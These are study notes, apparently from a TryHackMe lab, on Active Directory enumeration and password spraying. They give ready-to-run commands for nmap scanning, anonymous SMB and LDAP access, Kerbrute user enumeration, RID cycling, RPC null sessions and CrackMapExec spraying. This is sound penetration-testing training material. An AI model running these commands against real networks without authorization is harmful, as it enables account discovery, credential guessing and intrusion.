Active Directory Enumeration & Password Spraying Notes

Practical Learning Notes (SMB, LDAP, RPC, Kerberos & AD Enumeration)

These notes refer to a typical anonymous Active Directory enumeration workflow, moving from service discovery → SMB enumeration → user discovery → LDAP enumeration → RPC enumeration → password policy checks → password spraying.

1. Initial Service Discovery

Scan Common Active Directory Ports

nmap -p 88,135,139,389,445,636 -sV -sC 10.211.11.10 -v -T5

Purpose

PortService 88 Kerberos 135 RPC 139 NetBIOS 389 LDAP 445 SMB 636 LDAPS

Goal

Identify:

• Domain Controller
• SMB availability
• LDAP availability
• Kerberos service
• Potential anonymous access

2. SMB Enumeration

List Available Shares

smbclient -L //10.211.11.10 -N

-N = Null Session (anonymous access)

Enumerate Shares

smbmap -H 10.211.11.10

Purpose

Shows:

• Share names
• Read permissions
• Write permissions
• Anonymous access level

Access a Share

smbclient //10.211.11.10/SharedFiles -N

Purpose

Browse files anonymously.

3. User Enumeration

Method 1: Kerberos User Enumeration

Using Kerbrute

kerbrute userenum \
-d tryhackme.loc \
--dc 10.211.11.10 \
kerbrutead.txt \
-o AD_Valid_User.txt

Purpose

Validate usernames without needing passwords.

Result

VALID USERNAME FOUND

Creates a list of valid AD accounts.

Method 2: RID Cycling

Enumerate Users by RID

for i in $(seq 500 2000); do
echo "queryuser $i" | rpcclient -U "" -N 10.211.11.10 2>/dev/null \
| grep -i "User Name"
done

Purpose

Discover users through RID brute-force.

4. LDAP Enumeration

Check LDAP Access

ldapsearch -x -H ldap://10.211.11.10 -s base

Purpose

Identify:

• Domain Name
• Naming Context
• LDAP Accessibility

Enumerate All Users

ldapsearch -x \
-H ldap://10.211.11.10 \
-b "dc=tryhackme,dc=loc" \
"(objectClass=person)"

Purpose

Retrieve user objects and AD information.

Extract Usernames Only

ldapsearch -x \
-H ldap://10.211.11.10 \
-b "dc=tryhackme,dc=loc" \
"(objectClass=person)" \
| grep -ia samaccountname

Purpose

Collect usernames for:

• Password spraying
• Credential attacks
• Reporting

5. RPC Enumeration

Connect via Null Session

rpcclient -U "" -N 10.211.11.10

Enumerate Domain Users

enumdomusers

Example Output

user:[Administrator]
user:[Guest]
user:[rduke]
user:[gerald.burgess]

Query Specific User

queryuser 0xa31

Purpose

Gather:

• Full name
• Description
• Account details
• Last logon information

Finding RID

enumdomusers

Then use:

queryuser <RID>

Example:

queryuser 0xa31

6. Enum4Linux Automation

Search for a Specific User

enum4linux 10.211.11.10 | grep rduke

Full Enumeration

sudo enum4linux-ng -A 10.211.11.10 -oA results.txt

or

sudo enum4linux-ng -A 10.211.11.10

Purpose

Automates:

• SMB Enumeration
• RID Cycling
• User Discovery
• Share Discovery
• Policy Enumeration

7. RID Conversion

Sometimes RPC outputs:

RID: 0xa31

Convert:

Hex → Decimal

printf "%d\n" 0xa31

Decimal → Hex

printf "0x%x\n" 2609

8. Password Policy Enumeration

Before password spraying, always identify account lockout settings.

Using RPC

rpcclient -U "" -N 10.211.11.10

getdompwinfo

Example

min_password_length: 7
DOMAIN_PASSWORD_COMPLEX

Using CrackMapExec

crackmapexec smb 10.211.11.10 --pass-pol

Purpose

Retrieve:

• Lockout threshold
• Password length
• Complexity requirements

9. Password Spraying

Example

crackmapexec smb 10.211.11.20 \
-u rduke \
-p pass.txt

Purpose

Test one password (or a small controlled set) against many accounts while respecting lockout policies.

Important

Always verify:

getdompwinfo

or

crackmapexec smb <IP> --pass-pol

before attempting password spraying.

10. Authenticated RPC Login

Log in with Credentials

rpcclient -U 'DISTER\\clark.ken%password' 192.168.0.10

Purpose

Authenticated enumeration provides:

• More user details
• Group memberships
• Domain information
• Additional AD objects

Enumeration Workflow Summary

1. Nmap Scan
      ↓
2. SMB Enumeration
      ↓
3. LDAP Enumeration
      ↓
4. Kerberos User Enumeration
      ↓
5. RPC Enumeration
      ↓
6. RID Cycling
      ↓
7. Password Policy Enumeration
      ↓
8. Password Spraying
      ↓
9. Authenticated Enumeration

Tools Used

Nmap SMBClient SMBMap Kerbrute LDAPSearch RPCClient Enum4Linux-NG CrackMapExec

Can also use

(1) nxc {comes with kali by default}

(2) ldapnomnom {you can find it on github)

Practical Demonstration: https://youtu.be/O9IZ3-qsuIo